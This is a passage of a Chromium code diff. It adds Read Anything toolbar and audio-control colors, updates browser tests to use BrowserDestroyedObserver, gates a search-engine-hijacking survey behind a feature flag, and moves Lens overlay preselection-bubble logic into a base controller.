   EXPECT_TRUE(bookmark_menu_item);
 
+  ui_test_utils::BrowserDestroyedObserver observer(browser());
   chrome::CloseAllBrowsersAndQuit();
-  ui_test_utils::WaitForBrowserToClose();
+  observer.Wait();
 
   EXPECT_EQ([bookmark_menu_item action], @selector(commandDispatch:));
 
diff --git a/chrome/browser/ui/color/chrome_color_id.h b/chrome/browser/ui/color/chrome_color_id.h
index ffe8e94..6f7e0695 100644
--- a/chrome/browser/ui/color/chrome_color_id.h
+++ b/chrome/browser/ui/color/chrome_color_id.h
@@ -684,6 +684,24 @@
   E_CPONLY(kColorReadAnythingAudioPlayerIconLowContrast) \
   E_CPONLY(kColorReadAnythingAudioPlayerIconSepiaLight) \
   E_CPONLY(kColorReadAnythingAudioPlayerIconSepiaDark) \
+  E_CPONLY(kColorReadAnythingToolbarIcon) \
+  E_CPONLY(kColorReadAnythingToolbarIconBlue) \
+  E_CPONLY(kColorReadAnythingToolbarIconDark) \
+  E_CPONLY(kColorReadAnythingToolbarIconLight) \
+  E_CPONLY(kColorReadAnythingToolbarIconYellow) \
+  E_CPONLY(kColorReadAnythingToolbarIconHighContrast) \
+  E_CPONLY(kColorReadAnythingToolbarIconLowContrast) \
+  E_CPONLY(kColorReadAnythingToolbarIconSepiaLight) \
+  E_CPONLY(kColorReadAnythingToolbarIconSepiaDark) \
+  E_CPONLY(kColorReadAnythingAudioControlsIcon) \
+  E_CPONLY(kColorReadAnythingAudioControlsIconBlue) \
+  E_CPONLY(kColorReadAnythingAudioControlsIconDark) \
+  E_CPONLY(kColorReadAnythingAudioControlsIconLight) \
+  E_CPONLY(kColorReadAnythingAudioControlsIconYellow) \
+  E_CPONLY(kColorReadAnythingAudioControlsIconHighContrast) \
+  E_CPONLY(kColorReadAnythingAudioControlsIconLowContrast) \
+  E_CPONLY(kColorReadAnythingAudioControlsIconSepiaLight) \
+  E_CPONLY(kColorReadAnythingAudioControlsIconSepiaDark) \
   /* Realbox colors. */ \
   E_CPONLY(kColorSearchboxAnswerIconBackground) \
   E_CPONLY(kColorSearchboxAnswerIconForeground) \
diff --git a/chrome/browser/ui/color/chrome_color_mixer.cc b/chrome/browser/ui/color/chrome_color_mixer.cc
index 8f7dedcf..a8538dbb 100644
--- a/chrome/browser/ui/color/chrome_color_mixer.cc
+++ b/chrome/browser/ui/color/chrome_color_mixer.cc
@@ -951,59 +951,76 @@
   mixer[kColorReadAnythingPreviousReadAloudHighlightSepiaDark] = {
       SkColorSetRGB(91, 179, 240)};
   mixer[kColorReadAnythingAudioPlayerBackground] = {
-      dark_mode ? kColorReadAnythingAudioPlayerBackgroundDark
-                : kColorReadAnythingAudioPlayerBackgroundLight};
+      ui::kColorSysTonalContainer};
   mixer[kColorReadAnythingAudioPlayerBackgroundBlue] = {
-      dark_mode ? ui::kColorSysStateFocusRing
-                : ui::kColorSysStateFocusRingInverse};
+      SkColorSetRGB(0x00, 0x4A, 0x77)};
   mixer[kColorReadAnythingAudioPlayerBackgroundDark] = {
-      dark_mode ? ui::kColorSysStateFocusRingInverse
-                : ui::kColorSysStateFocusRing};
+      SkColorSetRGB(0x00, 0x4A, 0x77)};
   mixer[kColorReadAnythingAudioPlayerBackgroundLight] = {
-      dark_mode ? ui::kColorSysStateFocusRing
-                : ui::kColorSysStateFocusRingInverse};
+      SkColorSetRGB(0xD3, 0xE3, 0xFD)};
   mixer[kColorReadAnythingAudioPlayerBackgroundYellow] = {
-      dark_mode ? ui::kColorSysStateFocusRing
-                : ui::kColorSysStateFocusRingInverse};
+      SkColorSetRGB(0xD3, 0xE3, 0xFD)};
   mixer[kColorReadAnythingAudioPlayerBackgroundHighContrast] = {
-      dark_mode ? ui::kColorSysStateFocusRingInverse
-                : ui::kColorSysStateFocusRing};
+      SkColorSetRGB(0x00, 0x4A, 0x77)};
   mixer[kColorReadAnythingAudioPlayerBackgroundLowContrast] = {
-      dark_mode ? ui::kColorSysStateFocusRingInverse
-                : ui::kColorSysStateFocusRing};
+      SkColorSetRGB(0x00, 0x4A, 0x77)};
   mixer[kColorReadAnythingAudioPlayerBackgroundSepiaLight] = {
-      dark_mode ? ui::kColorSysStateFocusRing
-                : ui::kColorSysStateFocusRingInverse};
+      SkColorSetRGB(0xD3, 0xE3, 0xFD)};
   mixer[kColorReadAnythingAudioPlayerBackgroundSepiaDark] = {
-      dark_mode ? ui::kColorSysStateFocusRingInverse
-                : ui::kColorSysStateFocusRing};
-  mixer[kColorReadAnythingAudioPlayerIcon] = {
-      dark_mode ? kColorReadAnythingAudioPlayerIconDark
-                : kColorReadAnythingAudioPlayerIconLight};
+      SkColorSetRGB(0x00, 0x4A, 0x77)};
+  mixer[kColorReadAnythingAudioPlayerIcon] = {ui::kColorSysPrimary};
   mixer[kColorReadAnythingAudioPlayerIconBlue] = {
-      dark_mode ? ui::kColorSysStateFocusRingInverse
-                : ui::kColorSysStateFocusRing};
+      SkColorSetRGB(0xa8, 0xC7, 0xFA)};
   mixer[kColorReadAnythingAudioPlayerIconDark] = {
-      dark_mode ? ui::kColorSysStateFocusRing
-                : ui::kColorSysStateFocusRingInverse};
+      SkColorSetRGB(0xa8, 0xC7, 0xFA)};
   mixer[kColorReadAnythingAudioPlayerIconLight] = {
-      dark_mode ? ui::kColorSysStateFocusRingInverse
-                : ui::kColorSysStateFocusRing};
+      SkColorSetRGB(0x0B, 0x57, 0xD0)};
   mixer[kColorReadAnythingAudioPlayerIconYellow] = {
-      dark_mode ? ui::kColorSysStateFocusRingInverse
-                : ui::kColorSysStateFocusRing};
+      SkColorSetRGB(0x0B, 0x57, 0xD0)};
   mixer[kColorReadAnythingAudioPlayerIconHighContrast] = {
-      dark_mode ? ui::kColorSysStateFocusRing
-                : ui::kColorSysStateFocusRingInverse};
+      SkColorSetRGB(0xa8, 0xC7, 0xFA)};
   mixer[kColorReadAnythingAudioPlayerIconLowContrast] = {
-      dark_mode ? ui::kColorSysStateFocusRing
-                : ui::kColorSysStateFocusRingInverse};
+      SkColorSetRGB(0xa8, 0xC7, 0xFA)};
   mixer[kColorReadAnythingAudioPlayerIconSepiaLight] = {
-      dark_mode ? ui::kColorSysStateFocusRingInverse
-                : ui::kColorSysStateFocusRing};
+      SkColorSetRGB(0x0B, 0x57, 0xD0)};
   mixer[kColorReadAnythingAudioPlayerIconSepiaDark] = {
-      dark_mode ? ui::kColorSysStateFocusRing
-                : ui::kColorSysStateFocusRingInverse};
+      SkColorSetRGB(0xa8, 0xC7, 0xFA)};
+  mixer[kColorReadAnythingToolbarIcon] = {
+      dark_mode ? SkColorSetRGB(0xC7, 0xC7, 0xC7)
+                : SkColorSetRGB(0x47, 0x47, 0x47)};
+  mixer[kColorReadAnythingToolbarIconBlue] = {SkColorSetRGB(0x47, 0x47, 0x47)};
+  mixer[kColorReadAnythingToolbarIconDark] = {SkColorSetRGB(0xC7, 0xC7, 0xC7)};
+  mixer[kColorReadAnythingToolbarIconLight] = {SkColorSetRGB(0x47, 0x47, 0x47)};
+  mixer[kColorReadAnythingToolbarIconYellow] = {
+      SkColorSetRGB(0x47, 0x47, 0x47)};
+  mixer[kColorReadAnythingToolbarIconHighContrast] = {
+      SkColorSetRGB(0xC7, 0xC7, 0xC7)};
+  mixer[kColorReadAnythingToolbarIconLowContrast] = {
+      SkColorSetRGB(0xC7, 0xC7, 0xC7)};
+  mixer[kColorReadAnythingToolbarIconSepiaLight] = {
+      SkColorSetRGB(0x47, 0x47, 0x47)};
+  mixer[kColorReadAnythingToolbarIconSepiaDark] = {
+      SkColorSetRGB(0xC7, 0xC7, 0xC7)};
+  mixer[kColorReadAnythingAudioControlsIcon] = {
+      dark_mode ? SkColorSetRGB(0xC7, 0xC7, 0xC7)
+                : SkColorSetRGB(0x47, 0x47, 0x47)};
+  mixer[kColorReadAnythingAudioControlsIconBlue] = {
+      SkColorSetRGB(0xC7, 0xC7, 0xC7)};
+  mixer[kColorReadAnythingAudioControlsIconDark] = {
+      SkColorSetRGB(0xC7, 0xC7, 0xC7)};
+  mixer[kColorReadAnythingAudioControlsIconLight] = {
+      SkColorSetRGB(0x47, 0x47, 0x47)};
+  mixer[kColorReadAnythingAudioControlsIconYellow] = {
+      SkColorSetRGB(0x47, 0x47, 0x47)};
+  mixer[kColorReadAnythingAudioControlsIconHighContrast] = {
+      SkColorSetRGB(0xC7, 0xC7, 0xC7)};
+  mixer[kColorReadAnythingAudioControlsIconLowContrast] = {
+      SkColorSetRGB(0xC7, 0xC7, 0xC7)};
+  mixer[kColorReadAnythingAudioControlsIconSepiaLight] = {
+      SkColorSetRGB(0x47, 0x47, 0x47)};
+  mixer[kColorReadAnythingAudioControlsIconSepiaDark] = {
+      SkColorSetRGB(0xC7, 0xC7, 0xC7)};
+
   mixer[kColorReadAnythingSeparator] = {dark_mode
                                             ? kColorReadAnythingSeparatorDark
                                             : kColorReadAnythingSeparatorLight};
diff --git a/chrome/browser/ui/exclusive_access/fullscreen_controller_interactive_browsertest.cc b/chrome/browser/ui/exclusive_access/fullscreen_controller_interactive_browsertest.cc
index d61d82ed..778d4be 100644
--- a/chrome/browser/ui/exclusive_access/fullscreen_controller_interactive_browsertest.cc
+++ b/chrome/browser/ui/exclusive_access/fullscreen_controller_interactive_browsertest.cc
@@ -228,7 +228,7 @@
                        TestNewTabExitsFullscreen) {
 #if BUILDFLAG(IS_LINUX) && BUILDFLAG(IS_OZONE)
   // Flaky in Linux interactive_ui_tests_wayland: crbug.com/1200036
-  if (ui::OzonePlatform::GetPlatformNameForTest() == "wayland") {
+  if (ui::OzonePlatform::RunningOnWaylandForTest()) {
     GTEST_SKIP();
   }
 #endif
@@ -1175,8 +1175,9 @@
   ExitFullscreen(popup->tab_strip_model()->GetActiveWebContents());
   EXPECT_LT(base::TimeTicks::Now() - exit, base::Seconds(5));
   EXPECT_FALSE(RequestFullscreen());
+  ui_test_utils::BrowserDestroyedObserver observer(popup);
   popup->window()->Close();
-  ui_test_utils::WaitForBrowserToClose(popup);
+  observer.Wait();
   EXPECT_LT(base::TimeTicks::Now() - exit, base::Seconds(5));
   EXPECT_FALSE(RequestFullscreen());
   EXPECT_TRUE(RequestFullscreen(/*gesture=*/true));
diff --git a/chrome/browser/ui/extensions/extension_installed_watcher_browsertest.cc b/chrome/browser/ui/extensions/extension_installed_watcher_browsertest.cc
index 72509f7..61b2ce36 100644
--- a/chrome/browser/ui/extensions/extension_installed_watcher_browsertest.cc
+++ b/chrome/browser/ui/extensions/extension_installed_watcher_browsertest.cc
@@ -115,7 +115,8 @@
   WaitFor(foo);
 
   // If the fix for https://crbug.com/1049190 regresses, this will crash:
+  ui_test_utils::BrowserDestroyedObserver observer(browser());
   chrome::CloseWindow(browser());
-  ui_test_utils::WaitForBrowserToClose(browser());
+  observer.Wait();
   EXPECT_EQ(0, done_called_);
 }
diff --git a/chrome/browser/ui/extensions/extension_settings_overridden_dialog.cc b/chrome/browser/ui/extensions/extension_settings_overridden_dialog.cc
index 9135639..cd73c8c 100644
--- a/chrome/browser/ui/extensions/extension_settings_overridden_dialog.cc
+++ b/chrome/browser/ui/extensions/extension_settings_overridden_dialog.cc
@@ -15,6 +15,7 @@
 #include "chrome/browser/ui/extensions/extensions_overrides/simple_overrides.h"
 #include "chrome/browser/ui/hats/hats_service.h"
 #include "chrome/browser/ui/hats/hats_service_factory.h"
+#include "chrome/common/chrome_features.h"
 #include "components/pref_registry/pref_registry_syncable.h"
 #include "extensions/browser/disable_reason.h"
 #include "extensions/browser/extension_prefs.h"
@@ -181,10 +182,13 @@
   }
 
   base::UmaHistogramEnumeration(params_.dialog_result_histogram_name, result);
-  HatsService* hats_service =
-      HatsServiceFactory::GetForProfile(profile_, /*create_if_necessary=*/true);
-  if (hats_service) {
-    hats_service->LaunchSurvey(kHatsSurveyTriggerSEHijacking);
+  if (base::FeatureList::IsEnabled(
+          features::kHappinessTrackingSurveysForDesktopSEHijacking)) {
+    HatsService* hats_service = HatsServiceFactory::GetForProfile(
+        profile_, /*create_if_necessary=*/true);
+    if (hats_service) {
+      hats_service->LaunchDelayedSurvey(kHatsSurveyTriggerSEHijacking, 5000);
+    }
   }
 }
 
diff --git a/chrome/browser/ui/extensions/extensions_menu_view_model.cc b/chrome/browser/ui/extensions/extensions_menu_view_model.cc
index 21deda35..acb14a0 100644
--- a/chrome/browser/ui/extensions/extensions_menu_view_model.cc
+++ b/chrome/browser/ui/extensions/extensions_menu_view_model.cc
@@ -874,17 +874,17 @@
   CHECK(extension);
   content::WebContents* web_contents = GetActiveWebContents();
 
-  MenuEntryState menu_item;
-  menu_item.context_menu_button = GetContextMenuButtonState(action_model);
-  menu_item.site_access_toggle = GetSiteAccessToggleState(
+  MenuEntryState entry_state;
+  entry_state.context_menu_button = GetContextMenuButtonState(action_model);
+  entry_state.site_access_toggle = GetSiteAccessToggleState(
       *extension, *profile, *toolbar_model_, *web_contents);
-  menu_item.site_permissions_button = GetSitePermissionsButtonState(
+  entry_state.site_permissions_button = GetSitePermissionsButtonState(
       *extension, *profile, *toolbar_model_, *web_contents);
-  menu_item.is_enterprise = extensions::ExtensionSystem::Get(profile)
-                                ->management_policy()
-                                ->HasEnterpriseForcedAccess(*extension);
+  entry_state.is_enterprise = extensions::ExtensionSystem::Get(profile)
+                                  ->management_policy()
+                                  ->HasEnterpriseForcedAccess(*extension);
 
-  return menu_item;
+  return entry_state;
 }
 
 ExtensionsMenuViewModel::OptionalSection
diff --git a/chrome/browser/ui/extensions/extensions_toolbar_view_model.cc b/chrome/browser/ui/extensions/extensions_toolbar_view_model.cc
index fcd18fa..5ac11e1 100644
--- a/chrome/browser/ui/extensions/extensions_toolbar_view_model.cc
+++ b/chrome/browser/ui/extensions/extensions_toolbar_view_model.cc
@@ -11,6 +11,7 @@
 #include "chrome/browser/profiles/profile.h"
 #include "chrome/browser/ui/tabs/tab_list_interface.h"
 #include "chrome/grit/generated_resources.h"
+#include "content/public/browser/navigation_handle.h"
 #include "content/public/browser/web_contents.h"
 #include "extensions/browser/permissions/site_permissions_helper.h"
 #include "extensions/buildflags/buildflags.h"
@@ -159,9 +160,9 @@
   Profile* profile = browser_->GetProfile();
   extensions::PermissionsManager* permissions_manager =
       extensions::PermissionsManager::Get(profile);
+  auto origin = web_contents->GetPrimaryMainFrame()->GetLastCommittedOrigin();
   extensions::PermissionsManager::UserSiteSetting site_setting =
-      permissions_manager->GetUserSiteSetting(
-          web_contents->GetPrimaryMainFrame()->GetLastCommittedOrigin());
+      permissions_manager->GetUserSiteSetting(origin);
 
   if (site_setting !=
       extensions::PermissionsManager::UserSiteSetting::kCustomizeByExtension) {
@@ -304,7 +305,8 @@
 }
 
 void ExtensionsToolbarViewModel::OnActiveTabChanged(tabs::TabInterface* tab) {
-  WebContentsObserver::Observe(tab ? tab->GetContents() : nullptr);
+  content::WebContents* contents = tab->GetContents();
+  WebContentsObserver::Observe(contents);
   for (Observer& obs : observers_) {
     obs.OnActiveWebContentsChanged();
   }
diff --git a/chrome/browser/ui/lens/lens_composebox_controller.cc b/chrome/browser/ui/lens/lens_composebox_controller.cc
index e1b1718d..2454a34b 100644
--- a/chrome/browser/ui/lens/lens_composebox_controller.cc
+++ b/chrome/browser/ui/lens/lens_composebox_controller.cc
@@ -238,8 +238,7 @@
   if (vsc_image_data_ && composebox_handler_) {
     composebox_handler_->OnContextualInputStatusChanged(
         vsc_image_data_->id,
-        composebox_query::mojom::FileUploadStatus::kUploadExpired,
-        std::nullopt);
+        contextual_search::FileUploadStatus::kUploadExpired, std::nullopt);
   }
   vsc_image_data_.reset();
 }
diff --git a/chrome/browser/ui/lens/lens_overlay_controller.cc b/chrome/browser/ui/lens/lens_overlay_controller.cc
index 038b59c..93500d3 100644
--- a/chrome/browser/ui/lens/lens_overlay_controller.cc
+++ b/chrome/browser/ui/lens/lens_overlay_controller.cc
@@ -127,9 +127,6 @@
 #include "pdf/mojom/pdf.mojom.h"
 #endif  // BUILDFLAG(ENABLE_PDF)
 
-void* kLensOverlayPreselectionWidgetIdentifier =
-    &kLensOverlayPreselectionWidgetIdentifier;
-
 namespace {
 
 // Timeout for the fadeout animation. This is purposely set to be twice the
@@ -594,29 +591,11 @@
   page_->OnCopyCommand();
 }
 
-bool LensOverlayController::IsOverlayShowing() const {
-  return state_ == State::kStartingWebUI || state_ == State::kOverlay;
-}
-
-bool LensOverlayController::IsOverlayActive() const {
-  return IsOverlayShowing() || state_ == State::kHidden ||
-         state_ == State::kHiding || state_ == State::kIsReshowing;
-}
-
 bool LensOverlayController::HasRegionSelection() const {
   return initialization_data_ &&
          !initialization_data_->selected_region_.is_null();
 }
 
-bool LensOverlayController::IsOverlayInitializing() {
-  return state_ == State::kStartingWebUI || state_ == State::kScreenshot ||
-         state_ == State::kClosingOpenedSidePanel;
-}
-
-bool LensOverlayController::IsOverlayClosing() {
-  return state_ == State::kClosing;
-}
-
 bool LensOverlayController::IsScreenshotPossible(
     content::RenderWidgetHostView* view) {
   return view && view->IsSurfaceAvailableForCopy();
@@ -1875,42 +1854,6 @@
       lens::LensOverlayDismissalSource::kFullscreened);
 }
 
-void LensOverlayController::OnViewBoundsChanged(views::View* observed_view) {
-  CHECK(observed_view == overlay_view_);
-
-  // Set our view to the same bounds as the contents web view so it always
-  // covers the tab contents.
-  if (lens_overlay_blur_layer_delegate_) {
-    // Set the blur to have the same bounds as our view, but since it is in our
-    // views local coordinate system, the blur should be positioned at (0,0).
-    lens_overlay_blur_layer_delegate_->layer()->SetBounds(
-        overlay_view_->GetLocalBounds());
-  }
-}
-
-#if BUILDFLAG(IS_MAC)
-void LensOverlayController::OnWidgetActivationChanged(views::Widget* widget,
-                                                      bool active) {
-  if (active && preselection_widget_) {
-    // On Mac, traversing out of the preselection widget into the browser causes
-    // the browser to restore its focus to the wrong place. Thus, when entering
-    // the preselection widget, make sure to clear out the browser's native
-    // focus. This causes the preselection widget to lose activation, so
-    // reactivate it manually.
-    BrowserElementsViews::From(tab_->GetBrowserWindowInterface())
-        ->GetPrimaryWindowWidget()
-        ->GetFocusManager()
-        ->ClearNativeFocus();
-    preselection_widget_->Activate();
-  }
-}
-#endif
-
-void LensOverlayController::OnWidgetDestroying(views::Widget* widget) {
-  preselection_widget_ = nullptr;
-  preselection_widget_observer_.Reset();
-}
-
 void LensOverlayController::OnOmniboxFocusChanged(
     OmniboxFocusState state,
     OmniboxFocusChangeReason reason) {
@@ -1943,40 +1886,6 @@
       lens::LensOverlayDismissalSource::kFindInPageInvoked);
 }
 
-void LensOverlayController::OnImmersiveRevealStarted() {
-  // The toolbar has began to reveal. If the overlay is showing, hide the
-  // preselection bubble to ensure it doesn't cover with the toolbar UI.
-  if (IsOverlayShowing()) {
-    HidePreselectionBubble();
-  }
-}
-
-void LensOverlayController::OnImmersiveRevealEnded() {
-  // The toolbar is no longer revealed. If the overlay is showing, reshow the
-  // preselection bubble to ensure it doesn't cover with the toolbar UI.
-  if (IsOverlayShowing()) {
-    ShowPreselectionBubble();
-  }
-}
-
-void LensOverlayController::OnImmersiveFullscreenEntered() {
-  // The browser entered immersive fullscreen. If the overlay is showing, call
-  // close and reopen the preselection bubble to ensure it respositions
-  // correctly.
-  if (IsOverlayShowing()) {
-    CloseAndReshowPreselectionBubble();
-  }
-}
-
-void LensOverlayController::OnImmersiveFullscreenExited() {
-  // The browser exited immersive fullscreen. If the overlay is showing, call
-  // close and reopen the preselection bubble to ensure it respositions
-  // correctly.
-  if (IsOverlayShowing()) {
-    CloseAndReshowPreselectionBubble();
-  }
-}
-
 void LensOverlayController::OnHandshakeComplete() {
   CHECK(lens_search_controller_->IsHandshakeComplete());
   // Notify the overlay that the handshake is complete if its initialized.
@@ -2301,112 +2210,7 @@
 }
 
 void LensOverlayController::ClosePreselectionBubble() {
-  if (preselection_widget_) {
-    preselection_widget_->Close();
-    preselection_widget_ = nullptr;
-    preselection_widget_observer_.Reset();
-  }
-}
-
-void LensOverlayController::ShowPreselectionBubble() {
-  // Don't show the preselection bubble if the overlay is not being shown.
-  if (IsResultsSidePanelShowing()) {
-    return;
-  }
-
-#if BUILDFLAG(IS_MAC)
-  // On Mac, the kShowFullscreenToolbar pref is used to determine whether the
-  // toolbar is always shown. This causes the toolbar to never unreveal, meaning
-  // the preselection bubble will never be shown. Check for this case and show
-  // the preselection bubble if needed.
-  const bool always_show_toolbar =
-      pref_service_->GetBoolean(prefs::kShowFullscreenToolbar);
-#else
-  const bool always_show_toolbar = false;
-#endif  // BUILDFLAG(IS_MAC)
-
-  if (!always_show_toolbar &&
-      ImmersiveModeController::From(tab_->GetBrowserWindowInterface())
-          ->IsRevealed()) {
-    // If the immersive mode controller is revealing top chrome, do not show
-    // the preselection bubble. The bubble will be shown once the reveal
-    // finishes.
-    return;
-  }
-
-  if (!preselection_widget_) {
-    CHECK(preselection_widget_anchor_);
-    // Setup the preselection widget.
-    preselection_widget_ = views::BubbleDialogDelegateView::CreateBubble(
-        std::make_unique<lens::LensPreselectionBubble>(
-            tab_->GetHandle(), preselection_widget_anchor_,
-            net::NetworkChangeNotifier::IsOffline(),
-            /*exit_clicked_callback=*/
-            base::BindRepeating(
-                &LensSearchController::CloseLensSync,
-                lens_search_controller_->GetWeakPtr(),
-                lens::LensOverlayDismissalSource::kPreselectionToastExitButton),
-            /*on_cancel_callback=*/
-            base::BindOnce(&LensSearchController::CloseLensSync,
-                           lens_search_controller_->GetWeakPtr(),
-                           lens::LensOverlayDismissalSource::
-                               kPreselectionToastEscapeKeyPress)));
-    preselection_widget_->SetNativeWindowProperty(
-        views::kWidgetIdentifierKey,
-        const_cast<void*>(kLensOverlayPreselectionWidgetIdentifier));
-    preselection_widget_observer_.Observe(preselection_widget_);
-    // Setting the parent allows focus traversal out of the preselection widget.
-    preselection_widget_->SetFocusTraversableParent(
-        preselection_widget_anchor_->GetWidget()->GetFocusTraversable());
-    preselection_widget_->SetFocusTraversableParentView(
-        preselection_widget_anchor_);
-  }
-
-  // When in fullscreen, top Chrome may cover this widget on Mac. Set the
-  // z-order to floating UI element to ensure the widget is above the top
-  // Chrome. Only do this if immersive mode is enabled to avoid issues with
-  // the preselection widget covering other windows.
-  if (ImmersiveModeController::From(tab_->GetBrowserWindowInterface())
-          ->IsEnabled()) {
-    preselection_widget_->SetZOrderLevel(ui::ZOrderLevel::kFloatingUIElement);
-  } else {
-    preselection_widget_->SetZOrderLevel(ui::ZOrderLevel::kNormal);
-  }
-
-  auto* bubble_view = static_cast<lens::LensPreselectionBubble*>(
-      preselection_widget_->widget_delegate());
-  bubble_view->SetCanActivate(true);
-
-  // The bubble position is dependent on if top chrome is showing. Resize the
-  // bubble to ensure the correct position is used.
-  bubble_view->SizeToContents();
-  // Show inactive so that the overlay remains active.
-  preselection_widget_->ShowInactive();
-}
-
-void LensOverlayController::CloseAndReshowPreselectionBubble() {
-  // If the preselection bubble is already closed, do not reshow it.
-  if (!preselection_widget_) {
-    return;
-  }
-  ClosePreselectionBubble();
-  ShowPreselectionBubble();
-}
-
-void LensOverlayController::HidePreselectionBubble() {
-  if (preselection_widget_) {
-    // The preselection bubble remains in the browser's focus order even when it
-    // is hidden, for example, when another browser tab is active. This means it
-    // remains possible for the bubble to be activated by keyboard input i.e.
-    // tabbing into the bubble, which unhides the bubble even on a browser tab
-    // where the overlay is not being shown. Prevent this by setting the bubble
-    // to non-activatable while it is hidden.
-    auto* bubble_view = static_cast<lens::LensPreselectionBubble*>(
-        preselection_widget_->widget_delegate());
-    bubble_view->SetCanActivate(false);
-
-    preselection_widget_->Hide();
-  }
+  ClosePreselectionBubbleImpl();
 }
 
 void LensOverlayController::IssueSearchBoxRequestPart2(
@@ -3025,6 +2829,10 @@
   return GetLensResultsPanelRouter()->IsEntryShowing();
 }
 
+void LensOverlayController::RequestSyncClose(DismissalSource source) {
+  lens_search_controller_->CloseLensSync(ConvertDismissalSource(source));
+}
+
 void LensOverlayController::MaybeGrantLensOverlayPermissionsForSession(
     std::optional<lens::LensOverlayInvocationSource> invocation_source) {
   lens::LensOverlayInvocationSource effective_invocation_source =
@@ -3152,3 +2960,13 @@
     }
   }
 }
+
+lens::LensOverlayDismissalSource LensOverlayController::ConvertDismissalSource(
+    DismissalSource dismissal_source) {
+  switch (dismissal_source) {
+    case DismissalSource::kPreselectionToastExitButton:
+      return lens::LensOverlayDismissalSource::kPreselectionToastExitButton;
+    case DismissalSource::kPreselectionToastEscapeKeyPress:
+      return lens::LensOverlayDismissalSource::kPreselectionToastEscapeKeyPress;
+  }
+}
diff --git a/chrome/browser/ui/lens/lens_overlay_controller.h b/chrome/browser/ui/lens/lens_overlay_controller.h
index 96127728..d683b1a 100644
--- a/chrome/browser/ui/lens/lens_overlay_controller.h
+++ b/chrome/browser/ui/lens/lens_overlay_controller.h
@@ -99,8 +99,6 @@
 class PrefService;
 enum class SidePanelEntryHideReason;
 
-extern void* kLensOverlayPreselectionWidgetIdentifier;
-
 // Manages all state associated with the lens overlay.
 // This class is not thread safe. It should only be used from the browser
 // thread.
@@ -196,18 +194,6 @@
   // Send message to overlay to copy the currently selection if any.
   void TriggerCopy();
 
-  // Returns true if the overlay is open and covering the current active tab.
-  bool IsOverlayShowing() const;
-
-  // Returns true if the overlay is showing or is in live page mode.
-  bool IsOverlayActive() const;
-
-  // Returns true if the overlay is in the process of initializing.
-  bool IsOverlayInitializing();
-
-  // Returns true if the overlay is currently in the process of closing.
-  bool IsOverlayClosing();
-
   // Returns true if the overlay has a region selection.
   bool HasRegionSelection() const;
 
@@ -221,18 +207,6 @@
   // this overlay controller.
   tabs::TabInterface* GetTabInterface();
 
-  // Show preselection toast bubble. Creates a preselection bubble if it does
-  // not exist.
-  void ShowPreselectionBubble();
-
-  // Closes the preselection bubble and reopens it. Used to prevent UI conflicts
-  // between the preselection bubble and top chrome in fullscreen.
-  void CloseAndReshowPreselectionBubble();
-
-  // Hides preselection toast bubble. Used when backgrounding the overlay. This
-  // hides the widget associated with the bubble.
-  void HidePreselectionBubble();
-
   // Queues a tutorial IPH to be shown if the given URL is eligible. Cancels any
   // queued IPH.
   void MaybeShowDelayedTutorialIPH(const GURL& url);
@@ -668,8 +642,9 @@
   // Returns true if the searchbox is a CONTEXTUAL_SEARCHBOX.
   bool IsContextualSearchbox();
 
-  // Returns true if the Lens results side panel is showing.
-  bool IsResultsSidePanelShowing();
+  // OverlayBaseController overrides:
+  bool IsResultsSidePanelShowing() override;
+  void RequestSyncClose(DismissalSource source) override;
 
   // Called when the UI needs to create the view to show in the overlay.
   raw_ptr<views::View> CreateViewForOverlay();
@@ -683,15 +658,6 @@
   // FullscreenObserver:
   void OnFullscreenStateChanged() override;
 
-  // ViewObserver:
-  void OnViewBoundsChanged(views::View* observed_view) override;
-
-  // views::WidgetObserver:
-#if BUILDFLAG(IS_MAC)
-  void OnWidgetActivationChanged(views::Widget* widget, bool active) override;
-#endif
-  void OnWidgetDestroying(views::Widget* widget) override;
-
   // OmniboxTabHelper::Observer:
   void OnOmniboxInputStateChanged() override {}
   void OnOmniboxInputInProgress(bool in_progress) override {}
@@ -703,12 +669,6 @@
   void OnFindEmptyText(content::WebContents* web_contents) override;
   void OnFindResultAvailable(content::WebContents* web_contents) override;
 
-  // ImmersiveModeController::Observer:
-  void OnImmersiveRevealStarted() override;
-  void OnImmersiveRevealEnded() override;
-  void OnImmersiveFullscreenEntered() override;
-  void OnImmersiveFullscreenExited() override;
-
   // Called when the Lens backend handshake is complete.
   void OnHandshakeComplete();
 
@@ -894,6 +854,9 @@
   virtual void MaybeGrantLensOverlayPermissionsForSession(
       std::optional<lens::LensOverlayInvocationSource> invocation_source);
 
+  static lens::LensOverlayDismissalSource ConvertDismissalSource(
+      DismissalSource dismissal_source);
+
   // Shorthand to grab the LensSearchboxController for this instance of Lens.
   lens::LensSearchboxController* GetLensSearchboxController();
 
diff --git a/chrome/browser/ui/lens/lens_search_controller.cc b/chrome/browser/ui/lens/lens_search_controller.cc
index 28039bd..5e5fccc0 100644
--- a/chrome/browser/ui/lens/lens_search_controller.cc
+++ b/chrome/browser/ui/lens/lens_search_controller.cc
@@ -266,6 +266,7 @@
   // Setup all state necessary for this Lens session.
   StartLensSession(invocation_source);
 
+  should_show_csb_ = false;
   lens_overlay_controller_->ShowUIWithPendingRegion(
       invocation_source, std::move(region), region_bitmap);
 }
diff --git a/chrome/browser/ui/lens/overlay_base_controller.cc b/chrome/browser/ui/lens/overlay_base_controller.cc
index 886d28a..34363117 100644
--- a/chrome/browser/ui/lens/overlay_base_controller.cc
+++ b/chrome/browser/ui/lens/overlay_base_controller.cc
@@ -4,7 +4,13 @@
 
 #include "chrome/browser/ui/lens/overlay_base_controller.h"
 
+#include "chrome/browser/ui/lens/lens_preselection_bubble.h"
+#include "chrome/browser/ui/views/interaction/browser_elements_views.h"
+#include "chrome/common/pref_names.h"
+#include "components/prefs/pref_service.h"
 #include "components/tabs/public/tab_interface.h"
+#include "net/base/network_change_notifier.h"
+#include "ui/views/bubble/bubble_dialog_delegate_view.h"
 
 OverlayBaseController::OverlayBaseController(tabs::TabInterface* tab,
                                              PrefService* pref_service)
@@ -13,3 +19,195 @@
 OverlayBaseController::~OverlayBaseController() {
   state_ = State::kOff;
 }
+
+bool OverlayBaseController::IsOverlayShowing() const {
+  return state_ == State::kStartingWebUI || state_ == State::kOverlay;
+}
+
+bool OverlayBaseController::IsOverlayActive() const {
+  return IsOverlayShowing() || state_ == State::kHidden ||
+         state_ == State::kHiding || state_ == State::kIsReshowing;
+}
+
+bool OverlayBaseController::IsOverlayInitializing() {
+  return state_ == State::kStartingWebUI || state_ == State::kScreenshot ||
+         state_ == State::kClosingOpenedSidePanel;
+}
+
+bool OverlayBaseController::IsOverlayClosing() {
+  return state_ == State::kClosing;
+}
+
